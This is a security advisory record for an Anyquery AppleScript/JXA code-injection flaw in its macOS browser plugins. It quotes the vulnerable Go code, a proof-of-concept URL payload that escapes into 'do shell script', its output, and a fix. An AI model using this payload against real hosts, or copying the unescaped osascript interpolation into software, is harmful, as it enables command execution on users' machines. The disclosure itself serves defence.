{"id":"CVE-2026-47252","aliases":["CVE-2026-47252","GHSA-hrj8-hjv8-mgwc","GO-2026-5436"],"related":[],"kind":"vulnerability","state":"published","title":"Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS plugins (Brave, Chrome, Edge, Reminders, Safari)","summary":"Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, authenticated users with INSERT or UPDATE access to affected macOS virtual tables can execute operating-system commands because the Chrome plugin and equivalent Brave, Edge, and Safari variants interpolate a SQL-controlled URL into AppleScript or JXA source passed to osascript. In plugins/chrome/tabs.go, tabsTable.Insert() passes the URL through fmt.Sprintf(newTabScript, url), and tabsTable.Update() uses fmt.Sprintf(setURLScript, pk, url). A URL containing quote and newline characters can break out of the intended string or property record and append script statements, resulting in arbitrary command execution with the privileges of the anyquery process on the macOS host. This issue is fixed in version 0.4.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, authenticated users with INSERT or UPDATE access to affected macOS virtual tables can execute operating-system commands because the Chrome plugin and equivalent Brave, Edge, and Safari variants interpolate a SQL-controlled URL into AppleScript or JXA source passed to osascript. In plugins/chrome/tabs.go, tabsTable.Insert() passes the URL through fmt.Sprintf(newTabScript, url), and tabsTable.Update() uses fmt.Sprintf(setURLScript, pk, url). A URL containing quote and newline characters can break out of the intended string or property record and append script statements, resulting in arbitrary command execution with the privileges of the anyquery process on the macOS host. This issue is fixed in version 0.4.5.","source":"cvelist"},{"lang":"en","text":"# AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | julien040/anyquery |\n| Affected version | 0.4.4 (commit 0abd460) |\n| Vulnerability    | CWE-94 — Improper Control of Generation of Code |\n| Severity         | High |\n\n## Summary\n\nThe `chrome_tabs` plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled `url` value directly into an AppleScript template via `fmt.Sprintf(newTabScript, url)` at `plugins/chrome/tabs.go:141` without any escaping, then passes the result to `exec.Command(\"osascript\", \"-e\", ...)`. An authenticated anyquery user who can issue SQL `INSERT INTO chrome_tabs` statements — which requires local CLI access — can break out of the `{URL:\"...\"}` property record with a newline-containing payload and inject arbitrary AppleScript statements, including `do shell script`, achieving OS-level command execution on the macOS host. The same pattern applies to the `Update` path at `tabs.go:169` via the JXA `setURL.js` script.\n\n## Affected Code\n\n`plugins/chrome/tabs.go:141` — SQL-supplied `url` interpolated unescaped into AppleScript template, then executed via `osascript -e`\n\n```go\nfunc (t *tabsTable) Insert(rows [][]interface{}) error {\n\tfor _, row := range rows {\n\t\turl := \"chrome://newtab/\"\n\t\tif rawURL, ok := row[2].(string); ok {\n\t\t\turl = rawURL\n\t\t}\n\n\t\tcmd := exec.Command(\"osascript\", \"-e\", fmt.Sprintf(newTabScript, url))\n\t\toutput, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"can't run osascript: %W (message: %s)\\n Script: %s\", err, output, fmt.Sprintf(newTabScript, url))\n\t\t}\n\n\t}\n\n\treturn nil\n}\n```\n\n`plugins/chrome/tabs.go:169` — `Update` path interpolates `url` into JXA `setURL.js` template with identical lack of escaping\n\n```go\n\t\tif url != \"\" {\n\t\t\tcmd := exec.Command(\"osascript\", \"-l\", \"JavaScript\", \"-e\", fmt.Sprintf(setURLScript, pk, url))\n\t\t\toutput, err := cmd.CombinedOutput()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"can't run osascript: %W (message: %s)\\n Script: %s\", err, output, fmt.Sprintf(setURLScript, pk, url))\n\t\t\t}\n\t\t}\n```\n\nSQL INSERT `url` column (row[2]) flows through `tabsTable.Insert` → `fmt.Sprintf(newTabScript, url)` → `exec.Command(\"osascript\", \"-e\", <injected script>)` at `tabs.go:141`.\n\n## Proof of Concept\n\nStep 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the `{URL:\"...\"}` property record and appends an injected `do shell script \"id\"` block, which is passed verbatim to `osascript -e`.\n\n```bash\ndocker build -f Dockerfile -t anyquery-vuln001 .\ndocker run --rm anyquery-vuln001 'x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n        make new tab with properties {URL:\"done'\n```\n\n```text\nSQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')\nwhere INJECT_URL =\nx\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n\tmake new tab with properties {URL:\"done\n```\n\n```text\n[sink:tabs.go:141] Script passed to osascript -e:\ntell application \"Google Chrome\"\n        make new tab with properties {URL:\"x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n        make new tab with properties {URL:\"done\"} at end of tabs of first window\nend tell\n[mock-osascript] Received script:\ntell application \"Google Chrome\"\n        make new tab with properties {URL:\"x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n        make new tab with properties {URL:\"done\"} at end of tabs of first window\nend tell\n\nRESULT: PASS — injection payload reached osascript -e verbatim; \"do shell script \\\"id\\\"\" present in generated script (tabs.go:141)\n```\n\nSee attached files: Dockerfile, poc/inject_demo.go, poc/go.mod\n[vuln-001.zip](https://github.com/user-attachments/files/27945214/vuln-001.zip)\n\n## Impact\n\nAny local user authenticated to the anyquery CLI who can run SQL against the `chrome_tabs` virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.\n\n## Remediation\n\nEscape double-quote and newline characters in the `url` value before interpolation, or avoid string templating entirely. Specifically in `plugins/chrome/tabs.go`:\n\n```go\n// Replace fmt.Sprintf(newTabScript, url) with:\nsafeURL := strings.ReplaceAll(url, `\"`, `\\\"`)\nsafeURL = strings.ReplaceAll(safeURL, \"\\n\", \"\")\nsafeURL = strings.ReplaceAll(safeURL, \"\\r\", \"\")\ncmd := exec.Command(\"osascript\", \"-e\", fmt.Sprintf(newTabScript, safeURL))\n```\n\nA more robust fix is to pass the URL as an AppleScript variable declared via a `-e` prefix argument rather than string-interpolating it into the script body, or to use the `osascript` `argv` mechanism so the URL never appears inside the script source. Apply the same fix to `fmt.Sprintf(setURLScript, pk, url)` at `tabs.go:169` for the `Update` path. Validate that the URL conforms to an allowed scheme (`https://`, `http://`, `chrome://`) before passing it to either handler.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin in github.com/julien040/anyquery/plugins/brave","format":"markdown","source":"go"}],"published":"2026-06-08T23:04:00.000Z","modified":"2026-09-30T17:51:56.193Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":9,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 0.4.5","status":"affected"}],"vendor":"julien040","product":"anyquery","source":"cvelist"},{"ranges":[{"version":"< 0.2.0","status":"affected"}],"vendor":"anyquery","product":"github.com/julien040/anyquery/plugins/brave","source":"cvelist"},{"ranges":[{"version":"< 0.2.0","status":"affected"}],"vendor":"anyquery","product":"github.com/julien040/anyquery/plugins/chrome","source":"cvelist"},{"ranges":[{"version":"< 0.2.0","status":"affected"}],"vendor":"anyquery","product":"github.com/julien040/anyquery/plugins/edge","source":"cvelist"},{"ranges":[{"version":"< 0.2.0","status":"affected"}],"vendor":"anyquery","product":"github.com/julien040/anyquery/plugins/reminders","source":"cvelist"},{"ranges":[{"version":"< 0.2.0","status":"affected"}],"vendor":"anyquery","product":"github.com/julien040/anyquery/plugins/safari","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/chrome","purl":"pkg:golang/github.com/julien040/anyquery/plugins/chrome","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/brave","purl":"pkg:golang/github.com/julien040/anyquery/plugins/brave","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/edge","purl":"pkg:golang/github.com/julien040/anyquery/plugins/edge","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/safari","purl":"pkg:golang/github.com/julien040/anyquery/plugins/safari","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/brave","purl":"pkg:golang/github.com/julien040/anyquery/plugins/brave","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/chrome","purl":"pkg:golang/github.com/julien040/anyquery/plugins/chrome","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/edge","purl":"pkg:golang/github.com/julien040/anyquery/plugins/edge","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240826075852-c651df0b8767"}],"ecosystem":"Go","package":"github.com/julien040/anyquery/plugins/safari","purl":"pkg:golang/github.com/julien040/anyquery/plugins/safari","source":"go"}],"references":[{"url":"https://github.com/julien040/anyquery/security/advisories/GHSA-hrj8-hjv8-mgwc","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/julien040/anyquery/commit/33769e03bd4b0f76d7a20a4188cce7153f6db1c9","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/julien040/anyquery/releases/tag/0.4.5","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/julien040/anyquery","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-17T19:11:46.878Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47252","url":"https://www.cve.org/CVERecord?id=CVE-2026-47252","licence":"CVE Terms of Use","modified":"2026-09-17T19:12:07.053Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hrj8-hjv8-mgwc","url":"https://github.com/advisories/GHSA-hrj8-hjv8-mgwc","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:03.664Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5436","url":"https://pkg.go.dev/vuln/GO-2026-5436","licence":"CC-BY-4.0","modified":"2026-06-25T23:00:17.318Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47252","licence":"Public domain","modified":"2026-09-30T17:51:56.193Z"}],"updatedAt":"2026-11-25T22:59:39.496Z","epss":{"score":0.00447,"percentile":0.40611,"date":"2026-12-01T12:00:22.000Z"}}